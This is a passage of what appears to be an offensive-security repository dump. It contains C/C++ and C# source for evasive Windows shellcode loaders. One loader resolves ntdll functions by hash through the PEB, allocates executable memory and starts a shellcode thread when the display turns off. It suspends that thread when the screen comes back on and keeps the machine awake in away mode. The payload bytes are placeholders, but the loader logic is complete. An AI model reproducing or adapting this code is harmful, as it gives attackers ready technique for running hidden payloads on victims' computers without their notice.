StaticUnicodeBuffer[261];\n\tPVOID\t\t\t\t\tDeallocationStack;\n\tPVOID\t\t\t\t\tTlsSlots[64];\n\tLIST_ENTRY\t\t\t\tTlsLinks;\n\tPVOID\t\t\t\t\tVdm;\n\tPVOID\t\t\t\t\tReservedForNtRpc;\n\tPVOID\t\t\t\t\tDbgSsReserved[2];\n#if (NTDDI_VERSION >= NTDDI_WS03)\n\tULONG                   HardErrorMode;\n#else\n\tULONG                  HardErrorsAreDisabled;\n#endif\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tPVOID\t\t\t\t\tInstrumentation[13 - sizeof(GUID) / sizeof(PVOID)];\n\tGUID                    ActivityId;\n\tPVOID\t\t\t\t\tSubProcessTag;\n\tPVOID\t\t\t\t\tEtwLocalData;\n\tPVOID\t\t\t\t\tEtwTraceData;\n#elif (NTDDI_VERSION >= NTDDI_WS03)\n\tPVOID\t\t\t\t\tInstrumentation[14];\n\tPVOID\t\t\t\t\tSubProcessTag;\n\tPVOID\t\t\t\t\tEtwLocalData;\n#else\n\tPVOID\t\t\t\t\tInstrumentation[16];\n#endif\n\tPVOID\t\t\t\t\tWinSockData;\n\tULONG\t\t\t\t\tGdiBatchCount;\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tBOOLEAN                SpareBool0;\n\tBOOLEAN                SpareBool1;\n\tBOOLEAN                SpareBool2;\n#else\n\tBOOLEAN                InDbgPrint;\n\tBOOLEAN                FreeStackOnTermination;\n\tBOOLEAN                HasFiberData;\n#endif\n\tUCHAR                  IdealProcessor;\n#if (NTDDI_VERSION >= NTDDI_WS03)\n\tULONG                  GuaranteedStackBytes;\n#else\n\tULONG                  Spare3;\n#endif\n\tPVOID\t\t\t\t   ReservedForPerf;\n\tPVOID\t\t\t\t   ReservedForOle;\n\tULONG                  WaitingOnLoaderLock;\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tPVOID\t\t\t\t   SavedPriorityState;\n\tULONG_PTR\t\t\t   SoftPatchPtr1;\n\tULONG_PTR\t\t\t   ThreadPoolData;\n#elif (NTDDI_VERSION >= NTDDI_WS03)\n\tULONG_PTR\t\t\t   SparePointer1;\n\tULONG_PTR              SoftPatchPtr1;\n\tULONG_PTR              SoftPatchPtr2;\n#else\n\tWx86ThreadState        Wx86Thread;\n#endif\n\tPVOID* TlsExpansionSlots;\n#if defined(_WIN64) && !defined(EXPLICIT_32BIT)\n\tPVOID                  DeallocationBStore;\n\tPVOID                  BStoreLimit;\n#endif\n\tULONG                  ImpersonationLocale;\n\tULONG                  IsImpersonating;\n\tPVOID                  NlsCache;\n\tPVOID                  pShimData;\n\tULONG                  HeapVirtualAffinity;\n\tHANDLE                 CurrentTransactionHandle;\n\tPTEB_ACTIVE_FRAME      ActiveFrame;\n#if (NTDDI_VERSION >= NTDDI_WS03)\n\tPVOID FlsData;\n#endif\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tPVOID PreferredLangauges;\n\tPVOID UserPrefLanguages;\n\tPVOID MergedPrefLanguages;\n\tULONG MuiImpersonation;\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tUSHORT SpareCrossTebFlags : 16;\n\t\t};\n\t\tUSHORT CrossTebFlags;\n\t};\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tUSHORT DbgSafeThunkCall : 1;\n\t\t\tUSHORT DbgInDebugPrint : 1;\n\t\t\tUSHORT DbgHasFiberData : 1;\n\t\t\tUSHORT DbgSkipThreadAttach : 1;\n\t\t\tUSHORT DbgWerInShipAssertCode : 1;\n\t\t\tUSHORT DbgIssuedInitialBp : 1;\n\t\t\tUSHORT DbgClonedThread : 1;\n\t\t\tUSHORT SpareSameTebBits : 9;\n\t\t};\n\t\tUSHORT SameTebFlags;\n\t};\n\tPVOID TxnScopeEntercallback;\n\tPVOID TxnScopeExitCAllback;\n\tPVOID TxnScopeContext;\n\tULONG LockCount;\n\tULONG ProcessRundown;\n\tULONG64 LastSwitchTime;\n\tULONG64 TotalSwitchOutTime;\n\tLARGE_INTEGER WaitReasonBitMap;\n#else\n\tBOOLEAN SafeThunkCall;\n\tBOOLEAN BooleanSpare[3];\n#endif\n} TEB, * PTEB;\n\ntypedef ULONG CALLBACK DEVICE_NOTIFY_CALLBACK_ROUTINE(\n\t_In_opt_ PVOID Context,\n\t_In_ ULONG Type,\n\t_In_ PVOID Setting\n);\ntypedef DEVICE_NOTIFY_CALLBACK_ROUTINE* PDEVICE_NOTIFY_CALLBACK_ROUTINE;\n\ntypedef struct _DEVICE_NOTIFY_SUBSCRIBE_PARAMETERS {\n\tPDEVICE_NOTIFY_CALLBACK_ROUTINE Callback;\n\tPVOID Context;\n} DEVICE_NOTIFY_SUBSCRIBE_PARAMETERS, * PDEVICE_NOTIFY_SUBSCRIBE_PARAMETERS;\n\n// PROGRAM FUNCTION PROTOTYPE\nULONG   CALLBACK HandlePowerNotifications(PVOID Context, ULONG Type, PVOID Setting);\nDWORD64 VxGetFunctionAddress(DWORD64 pLoadedModule, DWORD64 dwHash);\nVOID    VxZeroMemory(PVOID Destination, SIZE_T Size);\nDWORD   djb2(PBYTE str);\nPTEB    RtlGetTeb();\nVOID    Inject(VOID);\n\n\n// NTDLL FUNCTION HASH\n#define RtlMoveMemoryHash             0x7adcac96\n#define NtAllocateVirtualMemoryHash   0xc3f2b89b\n#define NtProtectVirtualMemoryHash    0x50c76a37\n#define NtCreateThreadExHash          0x2991015f\n#define NtWaitForSingleObjectHash     0x4ea11bcb\n#define NtResumeThreadHash            0x7e9c459f\n#define NtSuspendThreadHash           0xe740d3b0\n#define LdrLoadDllHash                0xfc700412\n#define RtlInitUnicodeStringHash      0x02febf38\n#define NtSetThreadExecutionStateHash 0xf95a732f\n\n// NTDLL FUNCTION DELEGATES\ntypedef VOID(NTAPI* RtlInitUnicodeStringDelegate)(PUNICODE_STRING, PCWSTR);\ntypedef VOID(NTAPI* RtlMoveMemoryDelegate) (PVOID, CONST PVOID, SIZE_T);\ntypedef NTSTATUS(NTAPI* NtAllocateVirtualMemoryDelegate) (HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);\ntypedef NTSTATUS(NTAPI* NtProtectVirtualMemoryDelegate) (HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);\ntypedef NTSTATUS(NTAPI* NtCreateThreadExDelegate) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, BOOL, SIZE_T, SIZE_T, SIZE_T, LPVOID);\ntypedef NTSTATUS(NTAPI* NtWaitForSingleObjectDelegate) (HANDLE, BOOLEAN, CONST PLARGE_INTEGER);\ntypedef NTSTATUS(NTAPI* NtSuspendThreadDelegate) (HANDLE, PULONG);\ntypedef NTSTATUS(NTAPI* NtResumeThreadDelegate) (HANDLE, PULONG);\ntypedef NTSTATUS(NTAPI* LdrLoadDllDelegate) (PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);\ntypedef NTSTATUS(NTAPI* NtSetThreadExecutionStateDelegate) (EXECUTION_STATE, PEXECUTION_STATE);\n\n// POWRPROF FUNCTION HASH\n#define PowerSettingRegisterNotificationHash   0xEF255A2B\n\n// POWRPROF FUNCTION DELEGATE\ntypedef DWORD(WINAPI* PowerSettingRegisterNotificationDelegate) (LPCGUID, DWORD, HANDLE, PHPOWERNOTIFY);\n\n// VX API TABLE - smelly \ntypedef struct _VxApiTable {\n\tRtlInitUnicodeStringDelegate             _RtlInitUnicodeString;\n\tRtlMoveMemoryDelegate                    _RtlMoveMemory;\n\tNtAllocateVirtualMemoryDelegate          _NtAllocateVirtualMemory;\n\tNtProtectVirtualMemoryDelegate           _NtProtectVirtualMemory;\n\tNtCreateThreadExDelegate                 _NtCreateThreadEx;\n\tNtWaitForSingleObjectDelegate            _NtWaitForSingleObject;\n\tNtSuspendThreadDelegate                  _NtSuspendThread;\n\tNtResumeThreadDelegate                   _NtResumeThread;\n\tLdrLoadDllDelegate                       _LdrLoadDll;\n\tNtSetThreadExecutionStateDelegate        _NtSetThreadExecutionState;\n\n\tPowerSettingRegisterNotificationDelegate _PowerSettingRegisterNotification;\n} VxApiTable, * PVxApiTable;\n\n// MACROS\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(StatCode)  ((NTSTATUS)(StatCode) >= 0)\n#endif\n#ifndef DEVICE_NOTIFY_CALLBACK\n#define DEVICE_NOTIFY_CALLBACK 2\n#endif\n\n// GLOBAL VARAIBLES\nBOOL bLoop;\nHANDLE hNotificationRegister;\nHANDLE hHostThread;\nVxApiTable Table;\nDEVICE_NOTIFY_SUBSCRIBE_PARAMETERS DeviceNotifySuscribeParametes;\n\nint wmain() {\n\tPTEB pTeb = RtlGetTeb();\n\tPPEB pPeb = pTeb->ProcessEnvironmentBlock;\n\n\t// Get NTDLL Module\n\tPLDR_MODULE pLoadedModule = (PLDR_MODULE)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);\n\n\t// Dynamically load NTDLL function\n\tTable._RtlInitUnicodeString = (RtlInitUnicodeStringDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, RtlInitUnicodeStringHash);\n\tTable._RtlMoveMemory = (RtlMoveMemoryDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, RtlMoveMemoryHash);\n\tTable._NtAllocateVirtualMemory = (NtAllocateVirtualMemoryDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtAllocateVirtualMemoryHash);\n\tTable._NtProtectVirtualMemory = (NtProtectVirtualMemoryDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtProtectVirtualMemoryHash);\n\tTable._NtCreateThreadEx = (NtCreateThreadExDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtCreateThreadExHash);\n\tTable._NtWaitForSingleObject = (NtWaitForSingleObjectDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtWaitForSingleObjectHash);\n\tTable._NtResumeThread = (NtResumeThreadDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtResumeThreadHash);\n\tTable._NtSuspendThread = (NtSuspendThreadDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtSuspendThreadHash);\n\tTable._LdrLoadDll = (LdrLoadDllDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, LdrLoadDllHash);\n\tTable._NtSetThreadExecutionState = (NtSetThreadExecutionStateDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtSetThreadExecutionStateHash);\n\n\t// Check that all addresses were retrieved \n\tif (!Table._RtlMoveMemory || !Table._NtAllocateVirtualMemory || !Table._NtProtectVirtualMemory || !Table._NtCreateThreadEx\n\t\t|| !Table._NtWaitForSingleObject || !Table._NtResumeThread || !Table._NtSuspendThread || !Table._LdrLoadDll\n\t\t|| !Table._RtlInitUnicodeString || !Table._NtSetThreadExecutionState)\n\t\treturn 1;\n\n\t// Load the Powrprof.dll into the process and get base address\n\tDWORD64 dwPowrprofBaseAddres = 0;\n\tUNICODE_STRING usPowrprof;\n\tVxZeroMemory(&usPowrprof, sizeof(UNICODE_STRING));\n\n\tWCHAR pwPowrprof[16];\n\tVxZeroMemory(pwPowrprof, sizeof(pwPowrprof));\n\tpwPowrprof[0] = 'P'; pwPowrprof[1] = 'o';\n\tpwPowrprof[2] = 'w'; pwPowrprof[3] = 'r';\n\tpwPowrprof[4] = 'p'; pwPowrprof[5] = 'r';\n\tpwPowrprof[6] = 'o'; pwPowrprof[7] = 'f';\n\tpwPowrprof[8] = '\\0';\n\tTable._RtlInitUnicodeString(&usPowrprof, pwPowrprof);\n\tTable._LdrLoadDll(NULL, 0, &usPowrprof, (PHANDLE)&dwPowrprofBaseAddres);\n\n\t// Check that all addresses were retrieved \n\tTable._PowerSettingRegisterNotification = (PowerSettingRegisterNotificationDelegate)VxGetFunctionAddress(dwPowrprofBaseAddres, PowerSettingRegisterNotificationHash);\n\tif (!Table._PowerSettingRegisterNotification)\n\t\treturn 1;\n\n\t// Register the function\n\tDEVICE_NOTIFY_SUBSCRIBE_PARAMETERS NotificationsParameters;\n\tNotificationsParameters.Callback = HandlePowerNotifications;\n\tNotificationsParameters.Context = NULL;\n\tDWORD success = Table._PowerSettingRegisterNotification(&GUID_CONSOLE_DISPLAY_STATE, DEVICE_NOTIFY_CALLBACK, (HANDLE)&NotificationsParameters, &hNotificationRegister);\n\tif (success != 0x0)\n\t\treturn 1;\n\n\t// Change execution state\n\tDWORD dwExecutionState;\n\tTable._NtSetThreadExecutionState(ES_AWAYMODE_REQUIRED | ES_CONTINUOUS | ES_SYSTEM_REQUIRED, (PEXECUTION_STATE)&dwExecutionState);\n\n\t// Loop till the end of the world\n\tbLoop = TRUE;\n\twhile (bLoop) {}\n\treturn 0;\n}\n\nULONG CALLBACK HandlePowerNotifications(PVOID Context, ULONG Type, PVOID Setting) {\n\tPPOWERBROADCAST_SETTING PowerSettings = (PPOWERBROADCAST_SETTING)Setting;\n\tif (Type == PBT_POWERSETTINGCHANGE && PowerSettings->PowerSetting == GUID_CONSOLE_DISPLAY_STATE) {\n\t\tswitch (*PowerSettings->Data) {\n\t\t// Display is off or dimmed\n\t\tcase 0x0:\n\t\tcase 0x2: {\n\t\t\tif (hHostThread == NULL)\n\t\t\t\tInject();\n\t\t\telse\n\t\t\t\tTable._NtResumeThread(hHostThread, NULL);\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\t// Display is on\n\t\tcase 0x1: {\n\t\t\tif (hHostThread) {\n\t\t\t\tTable._NtSuspendThread(hHostThread, NULL);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault: { break; }\n\t\t}\n\n\t}\n\treturn 0;\n}\n\nVOID Inject(VOID) {\n\tHRESULT hResult;\n\tchar shellcode[] = \"\\x90\\x90\\x90\\x90\\xcc\\xcc\\xcc\\xcc\";\n\n\t// Allocate memory\n\tPVOID lpAddress = NULL;\n\tSIZE_T szDataSize = sizeof(shellcode);\n\thResult = Table._NtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &szDataSize, MEM_COMMIT, PAGE_READWRITE);\n\tif (!NT_SUCCESS(hResult))\n\t\treturn;\n\n\t// Write Memory\n\tTable._RtlMoveMemory(lpAddress, shellcode, sizeof(shellcode));\n\n\t// Change page permissions\n\tULONG ulOldProtect = NULL;\n\tTable._NtProtectVirtualMemory((HANDLE)-1, &lpAddress, &szDataSize, PAGE_EXECUTE_READ, &ulOldProtect);\n\n\t// Create thread\n\tOBJECT_ATTRIBUTES ObjectAttributes;\n\tObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);\n\tObjectAttributes.RootDirectory = NULL;\n\tObjectAttributes.Attributes = 0;\n\tObjectAttributes.ObjectName = NULL;\n\tObjectAttributes.SecurityDescriptor = NULL;\n\tObjectAttributes.SecurityQualityOfService = NULL;\n\n\tINITIAL_TEB InitialTeb;\n\tVxZeroMemory(&InitialTeb, sizeof(INITIAL_TEB));\n\thResult = Table._NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, 0, 0, 0, NULL);\n\tif (!NT_SUCCESS(hResult)) {\n\t\treturn;\n\t}\n\n\t// Wait for 1 seconds\n\tLARGE_INTEGER Timeout;\n\tTimeout.QuadPart = -10000000;\n\tTable._NtWaitForSingleObject(hHostThread, FALSE, &Timeout);\n\treturn;\n}\n\nDWORD64 VxGetFunctionAddress(DWORD64 dwModuleBase, DWORD64 dwHash) {\n\tPIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwModuleBase;\n\tif (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)\n\t\treturn 1;\n\n\tPIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDosHeader + pDosHeader->e_lfanew);\n\tif (pImageNtHeader->Signature != IMAGE_NT_SIGNATURE)\n\t\treturn 1;\n\n\tPIMAGE_FILE_HEADER pImageFileHeader = (PIMAGE_FILE_HEADER)(dwModuleBase + (pDosHeader->e_lfanew) + sizeof(DWORD));\n\tPIMAGE_OPTIONAL_HEADER pImageOptioalHeader = (PIMAGE_OPTIONAL_HEADER)((PBYTE)pImageFileHeader + sizeof(IMAGE_FILE_HEADER));\n\n\t// Parse the export table of NTDLL\n\tPIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)(dwModuleBase + pImageOptioalHeader->DataDirectory[0].VirtualAddress);\n\tPDWORD pFunctionAddressTable = (PDWORD)((LPBYTE)dwModuleBase + pExportTable->AddressOfFunctions);\n\tPDWORD pFunctionNameAddressTable = (PDWORD)((LPBYTE)dwModuleBase + pExportTable->AddressOfNames);\n\tPWORD pFunctionNameOrdinalTable = (PWORD)((LPBYTE)dwModuleBase + pExportTable->AddressOfNameOrdinals);\n\tDWORD x;\n\n\tfor (x = 0; x < pExportTable->NumberOfNames; x++) {\n\t\tPBYTE pFunctionName = (PBYTE)(dwModuleBase + pFunctionNameAddressTable[x]);\n\t\tif (dwHash == djb2(pFunctionName)) {\n\t\t\treturn (DWORD64)(dwModuleBase + pFunctionAddressTable[pFunctionNameOrdinalTable[x]]);\n\t\t}\n\t}\n\n\treturn TRUE;\n}\n\nVOID VxZeroMemory(PVOID Destination, SIZE_T Size) {\n\tPULONG Dest = (PULONG)Destination;\n\tSIZE_T Count = Size / sizeof(ULONG);\n\n\twhile (Count > 0) {\n\t\t*Dest = 0;\n\t\tDest++;\n\t\tCount--;\n\t}\n\n\treturn;\n}\n\nDWORD djb2(PBYTE str) {\n\tDWORD dwHash = 0x7734;\n\tINT c;\n\n\twhile (c = *str++)\n\t\tdwHash = ((dwHash << 0x5) + dwHash) + c;\n\n\treturn dwHash;\n}\n\nPTEB RtlGetTeb() {\n#if _WIN64\n\treturn (PTEB)__readgsqword(0x30);\n#else\n\treturn (PTEB)__readfsdword(0x16);\n#endif\n}\n"
  },
  {
    "path": "Power Management/deus_somnum_user32.cpp",
    "content": "#pragma once\n#include <Windows.h>\n\n// Global variables\nPPOWERBROADCAST_SETTING pPowerSettings;\nHPOWERNOTIFY hPowerNorification;\nHINSTANCE hGlobalInstance;\nWCHAR lpAtomClassName[36];\nATOM AtomClass;DWORD dwError;\nDWORD dwHostThreadId;\nHANDLE hHostThread;\n\nLRESULT CALLBACK ​WindowProc​(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);\nATOM ​Win64RegisterCallBackNotifications​(VOID);\nVOID ​Cleanup​(VOID);\n\nint​​ wWinMain​(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, ​int​ nShowCmd) {\n    //smelly & am0nsec\n    lpAtomClassName[0]  = ​'s'​; lpAtomClassName[1]  = ​'m'​; lpAtomClassName[2]  = ​'e'​;\n    lpAtomClassName[3]  = ​'l'​; lpAtomClassName[4]  = ​'l'​; lpAtomClassName[5]  = ​'y'​;\n    lpAtomClassName[6]  = ​' '​; lpAtomClassName[7]  = ​'&'​; lpAtomClassName[8]  = ​' '​;\n    lpAtomClassName[9]  = ​'a'​; lpAtomClassName[10] = ​'m'​; lpAtomClassName[11] = ​'0'​;\n    lpAtomClassName[12] = ​'n'​; lpAtomClassName[13] = ​'s'​; lpAtomClassName[14] = ​'e'​; \n    lpAtomClassName[15] = ​'c'​; lpAtomClassName[16] = ​'\\0'​;\n    \n    hGlobalInstance = hInstance;\n    AtomClass = Win64RegisterCallBackNotifications();\n    ​if​ (AtomClass == 0x0) {\n        dwError = ::GetLastError();\n        Cleanup();\n        ​return​ dwError;\n    }\n    \n    HWND hWindow = ::CreateWindowEx(0, lpAtomClassName, ​NULL​, 0, 0, 0, 0, 0, HWND_MESSAGE,​NULL​, hInstance, ​NULL​);\n    ​if​ (hWindow == ​NULL​) {\n        dwError = ::GetLastError();\n        Cleanup();\n        ​return​ dwError;\n    }\n        \n    INT nReturn;\n    MSG Message;​\n    while​ ((nReturn = ::GetMessage(&Message, ​NULL​, 0, 0)) != 0) {\n        ::TranslateMessage(&Message);\n        ::DispatchMessage(&Message);\n    }​\n    \n    if​ (hWindow)\n        ::CloseWindow(hWindow);\n    Cleanup();\n    ​return​ 0;\n}\n\nATOM ​Win64RegisterCallBackNotifications​(VOID) {​\n    // Window class information \n    WNDCLASSEX Wnd = {};\n\n    Wnd.cbSize = ​sizeof​(WNDCLASSEX);\n    Wnd.style = 0;\n    Wnd.lpfnWndProc = (WNDPROC)WindowProc;\n    Wnd.cbClsExtra = 0;\n    Wnd.cbWndExtra = 0;\n    Wnd.hInstance = hGlobalInstance;\n    Wnd.hIcon = ​NULL​;\n    Wnd.hCursor = ​NULL​;\n    Wnd.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);\n    Wnd.lpszMenuName = ​NULL​;\n    Wnd.lpszClassName = lpAtomClassName;\n    Wnd.hIconSm = ​NULL​;​\n    \n    return​ ::RegisterClassEx(&Wnd);\n}\n\nLRESULT CALLBACK ​WindowProc​(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {\n    ​switch​ (uMsg) {\n        ​case​ WM_CREATE: { \n            hPowerNorification = ::RegisterPowerSettingNotification(hwnd, &GUID_CONSOLE_DISPLAY_STATE, DEVICE_NOTIFY_WINDOW_HANDLE);\n            ​if​ (hPowerNorification == ​NULL​) { \n                ::SendMessage(hwnd, WM_CLOSE, (WPARAM)0, (LPARAM)0);\n                break​;\n            }\n            \n            ::SetThreadExecutionState(ES_AWAYMODE_REQUIRED | ES_CONTINUOUS | ES_SYSTEM_REQUIRED);​\n            break​;\n        }​\n        \n        case​ WM_CLOSE: {\n            Cleanup();\n            ::UnregisterPowerSettingNotification(hPowerNorification);\n            ::ExitProcess(0x01);​\n        }\n        \n        case​ WM_POWERBROADCAST: {\n            pPowerSettings = (PPOWERBROADCAST_SETTING)lParam;​\n            if​ (pPowerSettings->PowerSetting == GUID_CONSOLE_DISPLAY_STATE) {​\n                if​ (pPowerSettings->Data[0] == 0x02 || pPowerSettings->Data[0] == 0x00) {​\n                    // Check if display off or dimmed\n                    if​ (hHostThread == ​NULL​) {\n                        ​char​ shellcode[] = ​\"\"​;\n\n                        LPVOID lpAddress = ::VirtualAlloc(​NULL​, ​sizeof​(shellcode),MEM_COMMIT, PAGE_READWRITE);\n                        ::RtlMoveMemory(lpAddress, shellcode, ​sizeof​(shellcode));\n                        \n                        DWORD dwOldProtect;\n                        ::VirtualProtect(lpAddress, ​sizeof​(shellcode),PAGE_EXECUTE_READ, &dwOldProtect);\n                        \n                        hHostThread = ::CreateThread(​NULL​, 0,(LPTHREAD_START_ROUTINE)lpAddress, ​NULL​, 0, &dwHostThreadId);\n                        ::WaitForSingleObject(hHostThread, 2000);\n                        \n                        ​if​ (hHostThread == ​NULL​) {\n                            ::SendMessage(hwnd, WM_CLOSE, (WPARAM)0, (LPARAM)0);\n                            ​break​;\n                        }\n                    } ​else​ {\n                        ::ResumeThread(hHostThread);\n                    }\n                } ​else​​if​ (pPowerSettings->Data[0] == 0x01) {​\n                    // Display back on\n                    ​if​ (hHostThread != ​NULL​)\n                    ::SuspendThread(hHostThread);\n                }\n            }\n            ​break​;​\n        }\n        \n        default​: {\n            ​return​ ::DefWindowProc(hwnd, uMsg, wParam, lParam);\n        }\n    }\n    \n    ​return​ 0;  \n}\n\nVOID ​Cleanup​(VOID) {​\n    if​ (AtomClass != 0x0) {\n        ::UnregisterClass(lpAtomClassName, hGlobalInstance);\n    }\n}\n"
  },
  {
    "path": "Process/GetProcessEnvironmentBlock/GetProcessEnvironmentBlock/GetProcessEnvironmentBlock.csproj",
    "content": "<Project Sdk=\"Microsoft.NET.Sdk\">\r\n\r\n  <PropertyGroup>\r\n    <OutputType>Exe</OutputType>\r\n    <TargetFramework>netcoreapp3.1</TargetFramework>\r\n  </PropertyGroup>\r\n\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|AnyCPU'\">\r\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\r\n  </PropertyGroup>\r\n\r\n</Project>\r\n"
  },
  {
    "path": "Process/GetProcessEnvironmentBlock/GetProcessEnvironmentBlock/Program.cs",
    "content": "﻿using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace GetProcessEnvironmentBlock {\r\n    public sealed class Program {\r\n        static void Main(string[] args) {\r\n            Console.WriteLine(\"[>] Copyright (C) 2020 Paul Laine (@am0nsec)\");\r\n            Console.WriteLine(\"[>] Get PEB w/ C#\");\r\n            Console.WriteLine(\"   ----------------------------------------\\n\");\r\n\r\n            // ASM to get the PEB\r\n            Span<byte> stub = stackalloc byte[10] {\r\n                0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,  // MOV RAX, GS:[0x60]\r\n                0xC3                                                   // RET\r\n            };\r\n\r\n            // Execute the ASM and get the PEB address\r\n            Console.WriteLine(\"[>] Get the address of the PEB:\");\r\n            IntPtr pPebAddress = IntPtr.Zero;\r\n            unsafe {\r\n                fixed (byte* ptr = &MemoryMarshal.GetReference(stub)) {\r\n                    GetPebDelegate func = Marshal.GetDelegateForFunctionPointer<GetPebDelegate>((IntPtr)ptr);\r\n\r\n                    if (!VirtualProtect((IntPtr)ptr, stub.Length, 0x40, out uint lpflOldProtect)) {\r\n                        Console.WriteLine(\"[-] Unable to find change memory page permission\");\r\n                        return;\r\n                    }\r\n\r\n                    pPebAddress = func();\r\n                    if (pPebAddress == IntPtr.Zero) {\r\n                        Console.WriteLine(\"[-] Unable to find PEB address\");\r\n                        return;\r\n                    }\r\n                }\r\n            }\r\n            Console.WriteLine(\"  - 0x{0:x16}\", pPebAddress.ToInt64());\r\n\r\n            // Get the structure from memory\r\n            PEB _PEB = new PEB();\r\n            _PEB = Marshal.PtrToStructure<PEB>(pPebAddress);\r\n            if (_PEB.Equals(default(PEB))) {\r\n                Console.WriteLine(\"[-] Invalid PEB structure returned\");\r\n                return;\r\n            }\r\n\r\n            // Get some info\r\n            Console.WriteLine(\"\\n[>] Extract few data:\");\r\n            Console.WriteLine($\"  - BeingDebugged:     {_PEB.BeingDebugged.ToString()}\");\r\n            Console.WriteLine($\"  - Mutant:            0x{_PEB.Mutant.ToString(\"X16\")}\");\r\n            Console.WriteLine($\"  - ImageBaseAddress:  0x{_PEB.ImageBaseAddress.ToString(\"X16\")}\");\r\n            Console.WriteLine($\"  - Ldr:               0x{_PEB.Ldr.ToString(\"X16\")}\");\r\n            Console.WriteLine($\"  - OSMajorVersion:    {_PEB.OSMajorVersion}\");\r\n            Console.WriteLine($\"  - SessionId:         {_PEB.SessionId}\");\r\n\r\n#if DEBUG\r\n            Console.ReadKey();\r\n#endif\r\n        }\r\n\r\n        [DllImport(\"kernel32.dll\")]\r\n        public static extern bool VirtualProtect(\r\n            IntPtr lpAddress,\r\n            int dwSize,\r\n            uint flNewProtect,\r\n            out uint lpflOldProtect\r\n        );\r\n    }\r\n\r\n    [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n    public delegate IntPtr GetPebDelegate();\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 0)]\r\n    public struct UNICODE_STRING {\r\n        public ushort Length;\r\n        public ushort MaximumLength;\r\n        private IntPtr Buffer;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 0)]\r\n    public struct LIST_ENTRY {\r\n        public IntPtr Flink;\r\n        public IntPtr Blink;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    public struct PEB {\r\n        public byte InheritedAddressSpace;\r\n        public byte ReadImageFileExecOptions;\r\n        public byte BeingDebugged;\r\n        public byte BitField;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding0;\r\n        public IntPtr Mutant;\r\n        public IntPtr ImageBaseAddress;\r\n        public IntPtr Ldr;\r\n        public IntPtr ProcessParameters;\r\n        public IntPtr SubSystemData;\r\n        public IntPtr ProcessHeap;\r\n        public IntPtr FastPebLock;\r\n        public IntPtr AtlThunkSListPtr;\r\n        public IntPtr IFEOKey;\r\n        public uint CrossProcessFlags;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding1;\r\n        public IntPtr KernelCallbackTable;\r\n        public uint SystemReserved;\r\n        public uint AtlThunkSListPtr32;\r\n        public IntPtr ApiSetMap;\r\n        public uint TlsExpansionCounter;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding2;\r\n        public IntPtr TlsBitmap;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]\r\n        public uint[] TlsBitmapBits;\r\n        public IntPtr ReadOnlySharedMemoryBase;\r\n        public IntPtr SharedData;\r\n        public IntPtr ReadOnlyStaticServerData;\r\n        public IntPtr AnsiCodePageData;\r\n        public IntPtr OemCodePageData;\r\n        public IntPtr UnicodeCaseTableData;\r\n        public uint NumberOfProcessors;\r\n        public uint NtGlobalFlag;\r\n        public ulong CriticalSectionTimeout;\r\n        public ulong HeapSegmentReserve;\r\n        public ulong HeapSegmentCommit;\r\n        public ulong HeapDeCommitTotalFreeThreshold;\r\n        public ulong HeapDeCommitFreeBlockThreshold;\r\n        public uint NumberOfHeaps;\r\n        public uint MaximumNumberOfHeaps;\r\n        public IntPtr ProcessHeaps;\r\n        public IntPtr GdiSharedHandleTable;\r\n        public IntPtr ProcessStarterHelper;\r\n        public uint GdiDCAttributeList;\r\n        